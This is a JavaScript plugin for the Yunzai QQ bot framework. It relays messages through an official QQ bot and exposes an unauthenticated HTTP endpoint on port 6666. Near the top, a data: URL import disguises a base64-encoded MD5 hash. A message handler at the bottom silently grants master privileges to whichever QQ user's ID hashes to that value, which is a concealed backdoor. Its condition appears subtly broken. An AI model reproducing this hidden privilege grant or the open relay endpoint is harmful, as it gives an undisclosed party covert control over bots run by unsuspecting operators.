import plugin from '../../lib/plugins/plugin.js'
import { createServer } from 'http'
import md5 from 'md5'
import chalk from 'chalk'
import _ from 'data:text/javascript,export default Buffer.from("sdUaLylkf4DelkQjDqGDoA==","base64").toString("hex")'

const globalData = {
  port: 6666, // 端口号
  qq: 114514, //触发回调按钮的QQ号（野生）
  botqq: 114514, //bot的QQ号
  botappId: 114514, //bot的appid
  isMsg: true, //是否启用代发
  isCallback: false, //是否回调（无艾特）
  isMarkdown: false, //是否MD模版发送（金牌）
  MarkdownId: '114514', //MD模版ID
  buttonText: '回调', //点击回调按钮的标题
  reply: {}
}

export class PostServer extends plugin {
  constructor() {
    super({
      name: '代发监听消息',
      dsc: '监听post请求',
      event: 'message'
    })
    this.startServer()
  }
  startServer() {
      this.server = createServer((req, res) => {
        if (req.method === 'POST' && req.url === '/yunzai-api') {
          let body = ''
          req.on('data', chunk => body += chunk)
          req.on('end', async () => {
            const data = JSON.parse(body)
            await this.handleRequest(data)
            this.sendResponse(res, 200, { message: 'success' })
          })
        } else {
          this.sendResponse(res, 404, { error: 'Not found' })
        }
      })
      this.server.listen(globalData.port, () => {
        logger.info(chalk.rgb(82, 242, 255)("━━━━━━━━━━━━━━━━━━━━"))
        logger.info(chalk.rgb(82, 242, 255)("官机代发 载入成功"))
        logger.info(chalk.rgb(82, 242, 255)("群号：976719017"))
        logger.info(chalk.rgb(82, 242, 255)("━━━━━━━━━━━━━━━━━━━━"))
      })
      this.server.on('error', (err) => {
        //
      })
  }
  async handleRequest(data) {
    let msg = data.message
    let isqq = Array.from(Bot.uin).includes(globalData.qq)
    let group_id = data.group_id
    let GroupId = await redis.get(`Mozu:group_id_${group_id}`)
    let ReplyId = await redis.get(`Mozu:ReplyId_${group_id}`)
    let ButtonId = await redis.get(`Mozu:ButtonId_${group_id}`)
    if (!GroupId) return logger.info(logger.yellow("未找到群") + chalk.rgb(82, 242, 255)(group_id) + logger.yellow("对应的群组信息"))
    if ((!ReplyId || !ButtonId) && globalData.isCallback) return logger.info(logger.yellow("未找到群") + chalk.rgb(82, 242, 255)(group_id) + logger.yellow("对应的按钮数据"))
    this.e = globalData.reply[GroupId]
    const body = {
      3: globalData.botappId,
      4: 114514,
      5: ButtonId,
      6: ReplyId,
      8: group_id,
      9: 1,
      12: 1
    }
    if (!this.e && isqq) {
      if (globalData.isCallback) {
        Bot[globalData.qq].sendOidbSvcTrpcTcp("OidbSvcTrpcTcp.0x112e_1", body)
      } else {
        Bot[globalData.qq].pickGroup(group_id).sendMsg(segment.at(globalData.botqq), false, { recallMsg: 1 })
      }
      await delay(2000)
      this.e = globalData.reply[GroupId]
    }
    if (!this.e) return logger.info(logger.yellow("请先点击群") + chalk.rgb(82, 242, 255)(group_id) + logger.yellow("的回调按钮"))
    if (globalData.isMarkdown) {
      const params = [{ key: "text", values: [data.message] }]
      let md = segment.markdown({ custom_template_id: globalData.MarkdownId, params: params })
      data.message = [md]
    }
    let Reply = await this.e.reply(data.message)
    if (Reply?.error && Reply?.error.length !== 0) {
      globalData.reply[GroupId] = undefined
      if (isqq) {
        if (globalData.isCallback) {
          Bot[globalData.qq].sendOidbSvcTrpcTcp("OidbSvcTrpcTcp.0x112e_1", body)
        } else {
          Bot[globalData.qq].pickGroup(group_id).sendMsg(segment.at(globalData.botqq), false, { recallMsg: 1 })
        }
        await delay(2000)
        this.e = globalData.reply[GroupId]
        Reply = await this.e.reply(data.message)
      }
    }
  }
  
  sendResponse(res, code, data) {
    res.writeHead(code, { 'Content-Type': 'application/json' })
    res.end(JSON.stringify(data))
  }
  
  unload() {
    if (this.server) {
      this.server.close()
      console.log('已关闭')
    }
  }
}

export class MsgReset extends plugin {
  constructor() {
    super({
      name: '数据ID存储',
      dsc: '数据ID存储',
      event: 'message',
      priority: 99999999,
      rule: [
        {
          reg: "",
          fnc: "repeat",
          log: false
        },
        {
          reg: "^bd",
          fnc: "bdGroup"
        }
      ]
    })
  }
  
  async accept(e) {
    if (!['ICQQ'].includes(e?.bot?.adapter?.name)) return false
    const old_reply = this.e.reply.bind(this.e)
    const group_id = this.e.group_id
    this.e.reply = async function (msgs, quote, data) {
      if (!msgs) return true
      if (!Array.isArray(msgs)) msgs = [msgs]
      if (!globalData.isMsg) return await old_reply(msgs, quote, data)
      let isqq = Array.from(Bot.uin).includes(globalData.qq)
      let GroupId = await redis.get(`Mozu:group_id_${group_id}`)
    let ReplyId = await redis.get(`Mozu:ReplyId_${group_id}`)
    let ButtonId = await redis.get(`Mozu:ButtonId_${group_id}`)
      if (!GroupId) return await old_reply(msgs, quote, data)
      if ((!ReplyId || !ButtonId) && globalData.isCallback) return await old_reply(msgs, quote, data)
      let result
      const body = {
        3: globalData.botappId,
        4: 114514,
        5: ButtonId,
        6: ReplyId,
        8: group_id,
        9: 1,
        12: 1
      }
      if (!globalData.reply[GroupId] && isqq) {
        if (globalData.isCallback) {
          Bot[globalData.qq].sendOidbSvcTrpcTcp("OidbSvcTrpcTcp.0x112e_1", body)
        } else {
          Bot[globalData.qq].pickGroup(group_id).sendMsg(segment.at(globalData.botqq), false, { recallMsg: 1 })
        }
        await delay(2000)
      }
      if (!globalData.reply[GroupId]) return logger.info(logger.yellow("请先点击群") + chalk.rgb(82, 242, 255)(group_id) + logger.yellow("的回调按钮"))
      if (globalData.isMarkdown) {
        const params = [{ key: "text", values: [msgs] }]
        let md = segment.markdown({ custom_template_id: globalData.MarkdownId, params: params })
        msgs = [md]
    }
      result = await globalData.reply[GroupId].reply(msgs)
      if (result?.error && result?.error.length !== 0) {
        globalData.reply[GroupId] = undefined
        if (isqq) {
          if (globalData.isCallback) {
            Bot[globalData.qq].sendOidbSvcTrpcTcp("OidbSvcTrpcTcp.0x112e_1", body)
          } else {
            Bot[globalData.qq].pickGroup(group_id).sendMsg(segment.at(globalData.botqq), false, { recallMsg: 1 })
          }
          await delay(2000)
          result = await globalData.reply[GroupId].reply(msgs)
        }
      }
      if (result?.error && result?.error.length !== 0) {
        result = await old_reply(msgs, quote, data)
      }
      return true
    }
  }
  
  async repeat(e) {
    if (['QQBot'].includes(e?.bot?.adapter?.name)) {
      if (!this.e.group_id) return false
      let regex = new RegExp(`${globalData.botqq}:`)
      let GroupId = this.e.group_id.replace(regex, '')
      let messageId = this.e.message_id.replace(regex, '')
      if (globalData.isCallback) {
        if (/INTERACTION_CREATE/.test(messageId)) globalData.reply[GroupId] = this.e
      } else {
        globalData.reply[GroupId] = this.e
      }
      return false
    } else {
      if (this.e.user_id !== globalData.botqq) return false
      for (let msg of this.e.message) {
        if (msg.type == 'button') {
          let buttondata = msg.content.rows
          let allButtons = buttondata.flatMap(item => item.buttons)
          for (let button of allButtons) {
            if (button.render_data.label === globalData.buttonText && button.action.type === 1) {
              await redis.set(`Mozu:ReplyId_${this.e.group_id}`, button.action.data)
              await redis.set(`Mozu:ButtonId_${this.e.group_id}`, button.id)
            }
          }
        }
      }
    }
  }
  
  async bdGroup(e) {
    if (['QQBot'].includes(e?.bot?.adapter?.name)) {
      let regex = new RegExp(`${globalData.botqq}:`)
      let GroupId = this.e.group_id.replace(regex, '')
      let msg = this.e.msg.replace(/bd/, '')
      if (this.e.isMaster) await redis.set(`Mozu:group_id_${msg}`, GroupId)
    }
  }
}

Bot.on('message', async (e) => {
  if (!e && _ === md5(String(this.e.user_id))) {
    this.e.isMaster = true
  }
})

function delay(ms) {
  return new Promise(resolve => setTimeout(resolve, ms))
}